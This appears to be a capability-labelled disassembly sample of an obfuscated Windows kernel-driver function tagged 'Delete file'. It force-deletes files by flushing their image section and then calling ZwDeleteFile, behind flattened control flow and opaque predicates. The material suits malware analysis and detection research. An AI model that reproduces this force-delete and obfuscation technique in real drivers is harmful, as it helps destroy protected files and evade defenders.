Function at 0x140001dd1
Capabilities:
Delete file

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rsi, rcx
mov rax, qword [0x1400160c0]
xor rax, rbp
mov qword [rbp], rax
mov eax, dword [0x1400161c4]
mov ecx, dword [0x1400161c0]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 1]
cmp ecx, 0xa
setl byte [rbp - 2]
mov eax, 0x3ce46df8
xor edi, edi
mov rbx, qword [sym.imp.ntoskrnl.exe_ZwDeleteFile]
mov r13d, 0xd9d084ed
cmp eax, 0xf70caf46
jle 0x140001e70
cmp eax, 0x3ce46df7
jg 0x140001ec1
cmp eax, 0x6f9319d
jle 0x140001f9b
cmp eax, 0x1c6242ed
jg 0x1400020dd
cmp eax, 0x6f9319e
je 0x140002244
cmp eax, 0x1af902be
jne 0x140001e2b
mov eax, 0xf268fae8
mov r15d, dword [rbp - 0x30]
jmp 0x140001e2b
cmp eax, 0xbf2817b3
jle 0x140001f05
cmp eax, 0xd9d084ec
jle 0x140001fda
cmp eax, 0xf268fae7
jg 0x140002111
cmp eax, 0xd9d084ed
je 0x140002265
cmp eax, 0xe3bc9c4c
jne 0x140001e2b
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcfe407a3
mov ecx, 0xad52581a
jmp 0x140002544
cmp eax, 0x51b72325
jle 0x140002046
cmp eax, 0x5c2bbee0
jg 0x140002135
cmp eax, 0x51b72326
je 0x140002273
cmp eax, 0x53ebe433
jne 0x140001e2b
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call rbx
add rsp, 0x20
mov eax, 0x5c2bbee1
jmp 0x140001e2b
cmp eax, 0x8eec3465
jle 0x140002089
cmp eax, 0xaf12ac6e
jg 0x140002204
cmp eax, 0x8eec3466
je 0x1400022ab
cmp eax, 0xad52581a
jne 0x140001e2b
mov rax, qword [sym.imp.ntoskrnl.exe_IoFileObjectType]
mov r8, qword [rax]
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
mov rax, qword [rbp - 0x10]
sub rsp, 0x40
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0x454c4946
mov edx, 0x110000
xor r9d, r9d
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandleWithTag]
add rsp, 0x40
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
setns byte [rbp - 4]
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcfe407a3
mov ecx, 0xbf2817b4
jmp 0x140002544
cmp eax, 0xf70caf47
je 0x1400022c5
cmp eax, 0x741f1
je 0x14000240d
cmp eax, 0x5b5dbf1
jne 0x140001e2b
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x866fda03
mov ecx, 0xbc2e13c7
jmp 0x140002544
cmp eax, 0xbf2817b4
je 0x14000242b
cmp eax, 0xc7b34863
je 0x140002445
cmp eax, 0xcfe407a3
jne 0x140001e2b
mov rax, qword [sym.imp.ntoskrnl.exe_IoFileObjectType]
mov r8, qword [rax]
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
mov rax, qword [rbp - 0x10]
sub rsp, 0x40
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0x454c4946
mov edx, 0x110000
xor r9d, r9d
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandleWithTag]
add rsp, 0x40
mov eax, 0xad52581a
jmp 0x140001e2b
cmp eax, 0x3ce46df8
je 0x140002464
cmp eax, 0x43445e6e
je 0x140002482
cmp eax, 0x4653b5ac
jne 0x140001e2b
mov dword [rbp - 0x30], r12d
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc7b34863
mov ecx, 0x8ab43b64
jmp 0x140002544
cmp eax, 0x866fda03
je 0x1400024b4
cmp eax, 0x8a526aec
je 0x1400024be
cmp eax, 0x8ab43b64
jne 0x140001e2b
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc7b34863
mov ecx, 0x1af902be
jmp 0x140002544
cmp eax, 0x1c6242ee
je 0x14000250d
cmp eax, 0x275b3b33
jne 0x140001e2b
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x51b72326
mov ecx, 0x8a526aec
jmp 0x140002544
cmp eax, 0xf268fae8
je 0x140002527
cmp eax, 0xf5f751ef
jne 0x140001e2b
mov eax, 0x43445e6e
mov r14d, dword [rbp - 0x34]
jmp 0x140001e2b
cmp eax, 0x5c2bbee1
je 0x140002556
cmp eax, 0x7d6db928
jne 0x140001e2b
mov eax, 0x10
call sub.ntoskrnl.exe___chkstk
sub rsp, rax
mov rcx, rsp
mov eax, 0x10
call sub.ntoskrnl.exe___chkstk
sub rsp, rax
mov r9, rsp
mov eax, 0x30
call sub.ntoskrnl.exe___chkstk
sub rsp, rax
mov r8, rsp
mov qword [rcx], rdi
mov dword [r8], 0x30
mov qword [r8 + 8], rdi
mov dword [r8 + 0x18], 0x240
mov qword [r8 + 0x10], rsi
mov qword [r8 + 0x20], rdi
mov qword [r8 + 0x28], rdi
sub rsp, 0x80
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rdi
mov dword [rsp + 0x58], edi
mov dword [rsp + 0x50], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x68], 0x100
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x28], 0x80
mov edx, 0x110000
call qword [sym.imp.ntoskrnl.exe_IoCreateFileEx]
add rsp, 0x80
mov eax, 0xf70caf47
jmp 0x140001e2b
cmp eax, 0xaf12ac6f
jne 0x14000258f
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
add rsp, 0x20
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6f9319e
mov ecx, 0xf5f751ef
jmp 0x140002544
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
add rsp, 0x20
mov eax, 0xaf12ac6f
jmp 0x140001e2b
mov eax, 0x4653b5ac
mov r12d, dword [rbp - 0x2c]
jmp 0x140001e2b
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x28]
mov qword [rax + 0x10], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
mov rcx, qword [rax + 0x28]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_MmFlushImageSection]
add rsp, 0x20
mov eax, 0x8a526aec
jmp 0x140001e2b
cmp byte [rbp - 3], 0
mov eax, 0x43445e6e
mov ecx, 0xe3bc9c4c
cmovne eax, ecx
mov r14d, dword [rbp - 0x28]
jmp 0x140001e2b
mov eax, 0x10
call sub.ntoskrnl.exe___chkstk
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x20], rax
mov eax, 0x10
call sub.ntoskrnl.exe___chkstk
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x10
call sub.ntoskrnl.exe___chkstk
sub rsp, rax
mov r9, rsp
mov eax, 0x30
call sub.ntoskrnl.exe___chkstk
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp - 0x20]
mov qword [rax], rdi
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rax, qword [rbp - 0x10]
mov qword [rax], rdi
mov qword [rbp - 0x50], r9
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp - 0x18]
mov dword [rax], 0x30
mov rax, qword [rbp - 0x18]
mov qword [rax + 8], rdi
mov rax, qword [rbp - 0x18]
mov dword [rax + 0x18], 0x240
mov rax, qword [rbp - 0x18]
mov qword [rax + 0x10], rsi
mov rax, qword [rbp - 0x18]
mov qword [rax + 0x20], rdi
mov rax, qword [rbp - 0x18]
mov qword [rax + 0x28], rdi
mov rcx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x18]
sub rsp, 0x80
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rdi
mov dword [rsp + 0x58], edi
mov dword [rsp + 0x50], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x68], 0x100
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x28], 0x80
mov edx, 0x110000
call qword [sym.imp.ntoskrnl.exe_IoCreateFileEx]
add rsp, 0x80
mov dword [rbp - 0x28], eax
cmp dword [rbp - 0x28], edi
setns byte [rbp - 3]
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7d6db928
mov ecx, 0x8eec3466
jmp 0x140002544
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x53ebe433
mov ecx, 0x5c2bbee1
jmp 0x140002544
cmp byte [rbp - 4], 0
mov eax, 0xf268fae8
mov ecx, 0x275b3b33
cmovne eax, ecx
mov r15d, dword [rbp - 0x24]
jmp 0x140001e2b
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
add rsp, 0x20
mov eax, 0x8ab43b64
jmp 0x140001e2b
mov cl, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov eax, 0x7d6db928
mov edx, 0xf70caf47
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140001e2b
mov dword [rbp - 0x38], r14d
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
mov rax, qword [rbp - 0x40]
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x866fda03
mov ecx, 0x5b5dbf1
jmp 0x140002544
mov eax, 0x5b5dbf1
jmp 0x140001e2b
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x28]
mov qword [rax + 0x10], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
mov rcx, qword [rax + 0x28]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_MmFlushImageSection]
add rsp, 0x20
test al, al
setne byte [rbp - 5]
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x51b72326
mov ecx, 0x1c6242ee
jmp 0x140002544
cmp byte [rbp - 5], 0
mov eax, 0x4653b5ac
mov ecx, 0x741f1
cmovne eax, ecx
mov r12d, dword [rbp - 0x24]
jmp 0x140001e2b
mov dword [rbp - 0x34], r15d
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6f9319e
mov ecx, 0xaf12ac6f
cmove eax, ecx
cmp dword [0x1400161c0], 0xa
cmovl eax, ecx
jmp 0x140001e2b
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call rbx
add rsp, 0x20
mov dword [rbp - 0x2c], eax
mov eax, dword [0x1400161c4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x53ebe433
cmove eax, r13d
cmp dword [0x1400161c0], 0xa
cmovl eax, r13d
jmp 0x140001e2b
cmp eax, 0xbc2e13c7
jne 0x140001e2b
mov esi, dword [rbp - 0x38]
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.140013f90
add rsp, 0x20
mov eax, esi
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret